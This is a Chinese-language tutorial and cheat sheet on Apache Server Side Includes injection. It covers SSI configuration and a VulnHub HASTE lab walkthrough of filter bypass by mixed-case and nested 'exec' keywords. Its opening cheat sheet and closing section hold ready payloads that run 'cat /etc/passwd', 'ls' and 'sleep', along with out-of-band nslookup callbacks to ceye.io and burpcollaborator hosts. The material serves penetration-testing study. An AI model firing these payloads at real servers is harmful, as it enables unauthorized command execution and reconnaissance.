0x00 速查表

  • 关键词execcmd不区分大小写,可考虑大小写组合绕过
"-->'-->`--><!--#set var="wyk" value="vxjn0kj8s5"--><!--#set var="y0m" value="xzlp2mlau7"--><!--#echo var="wyk"--><!--#echo var="y0m"--><!--#eXEc cMd="nslookup -q=cname vul.ssi.0yuj7c.ceye.io" -->


"-->'-->`--><!--#set var="wyk" value="vxjn0kj8s5"--><!--#set var="y0m" value="xzlp2mlau7"--><!--#echo var="wyk"--><!--#echo var="y0m"--><!--#eXEc cMd="cat /etc/passwd" -->

常用命令

# General PoC
<!--#eXEc cMd="ping -c 4 127.0.0.1|| ping -n 4 127.0.0.1
" -->


# Linux
<!--#eXEc cMd="cat /etc/passwd" -->
<!--#Exec cmD="ls" -->
<!--#eXEc cMd="sleep 5" -->

# windows
<!--#eXEc cMd="dir" -->

0x01 概念介绍

以下内容整理自Apache httpd tutorial[1],灰色部分可以不看(TL;DR):

(1)什么是ssi

  • ssi,通常称为服务端包含(Server Side Includes),用于将动态内容添加到您现有的 HTML 页面,以下统一使用大写的SSI
  • SSI可以使您可以将动态生成的内容添加到现有的 HTML 页面,而无需通过 CGI 程序或其他动态技术提供整个页面

例如,将<font style="color:rgb(0, 0, 0);background-color:rgb(229, 236, 243);"><!--#echo var="DATE_LOCAL" --></font>放到的HTML中,当页面被提供时,就会显示当前的时间

Friday, 11-Jun-2021 00:34:48 PDT
  • 何时使用 SSI 以及何时让您的页面完全由某个程序生成的决定通常取决于页面中有多少是静态的,以及每次提供页面时需要重新计算多少。SSI 是添加小块信息的好方法,例如<font style="color:#BFBFBF;">当前时间</font>,如上所示。但是,如果您的大部分页面是在提供服务时生成的,则您需要寻找其他解决方案。

(2)如何配置SSI

要开启ssi,需要在<font style="color:rgb(0, 51, 102);">httpd.conf</font> or <font style="color:rgb(0, 51, 102);">.htaccess</font> 中加上“允许解析<font style="color:rgb(0, 51, 102);">SSI</font>指令”的配置,如下

Options +Includes

此外,还需要告诉Apache允许对哪些文件进行SSI解析,官方介绍了两种设置方法(i、ii):

i 指定文件类型

依然是在配置文件中加入以下配置项

AddType text/html .shtml
AddOutputFilter INCLUDES .shtml

这样一来,Apache就会解析对应目录下.shtml文件中的SSI指令了。

但如果是存量代码,不想一个一个去更改页面的文件名的话,则有方法ii

ii 指定XBitHack

如果想让Apache解析.html文件的话,除了将.html后缀改为.shtml以外,还可以配置解析可执行的**.html**

XBitHack on

也就是说,你想解析某个.html文件中的SSI指令,只需要对那个文件加上可执行权限(+x)即可

chmod +x pagename.html

方法ii的缺点也是很明显的:如果设置了+x权限的.html文件过多,Apache 会读取它发送给客户端的每个文件,即使不包含任何 SSI 指令,这可能会减慢响应速度。

(3)SSI指令语法

<!--#function attribute=value attribute=value ... -->
  • 它的格式类似于 HTML 注释,因此如果您没有正确启用 SSI,浏览器将忽略它,但它仍然会在 HTML 源代码中可见。如果您正确配置了 SSI,则指令将替换为其结果。
# 打印当前时间
<!--#echo var="DATE_LOCAL" -->
	Friday, 11-Jun-2021 00:34:48 PDT

当输入的SSI指令出现问题时,服务器通常会返回

[an error occurred while processing this directive]

更多语法可以在w3里查看(但是我在接下来要介绍的靶场里试了好几条指令都没成功)。

0x02 漏洞利用

这里以Vulnhub的靶机HASTE为例,介绍SSI的漏洞利用

[

](https://www.vulnhub.com/entry/haste-1,203/)

H.A.S.T.E: 1

访问80端口,只看到有两个表单,POST提交的参数,会在302跳转的.shtml页面上展示出来。

当然——存储XSS,但咱们重点并不在此。

POST /receipt.php HTTP/1.1
Host: haste
Content-Length: 98
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://haste
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4371.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://haste/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

xxx=FUZZexecFUZZ<!--#echo var="DATE_LOCAL" -->&feedback=FUZZexecFUZZ<!--#echo var="DATE_LOCAL" -->

<!--#echo var="DATE_LOCAL" -->,注入“显示时间”的代码,显然是没问题的。但执行命令却出现了问题……

<!--#exec cmd="id" -->

整体来说,过滤情况如下:

  • xxx参数替换了<>
  • feedback参数替换了小写的exec

没什么意思,一瞬绕过

<!--#exEc cMd="id" -->
<!--#exexecec cmd="id" -->

接下来就是命令执行拿shell,乏善可陈……

0x03 总结

  1. Freebuf上的某篇文章,取的标题是【CTF之Web安全SSL注入】,SSL?——我愣住……
  2. 实战还是遇得很少的,但基本姿势要会

有效的测试方法:

  • 针对.shtml后缀的网页,应该就是在有回显的地方进行FUZZ了,用以下字符串:
< ! # = / . " - > and [a-zA-Z0-9] 

Burp Suite也支持扫描SSI漏洞,下面是Burp使用的Payload,典型的异步漏洞(async)

"-->'-->`--><!--#set var="wyk" value="vxjn0kj8s5"--><!--#set var="y0m" value="xzlp2mlau7"--><!--#echo var="wyk"--><!--#echo var="y0m"--><!--#exec cmd="nslookup -q=cname ik6an76vfs8suy1zd1238xv1us0lojcbaz2mtai.burpcollaborator.net" -->

写扫描PoC时,将burpcollaborator换成自己的dnslog地址就行。


参考资料

[1] Apache httpd Tutorial: Introduction to Server Side Includeshttp://httpd.apache.org/docs/current/howto/ssi.html

[2] Apache SSI 远程命令执行漏洞复现 https://www.cnblogs.com/yuzly/p/11226439.html

[3] SSI Commands https://www.w3.org/Jigsaw/Doc/User/SSI.html#exec

[4] 服务器端包含 (SSI) 注入软件攻击 | OWASP基金会https://owasp.org/www-community/attacks/Server-Side_Includes_(SSI)_Injection

[5] WSTG - Latest | OWASP https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/08-Testing_for_SSI_Injection

[6] H.A.S.T.E: 1 ~ VulnHub https://www.vulnhub.com/entry/haste-1,203/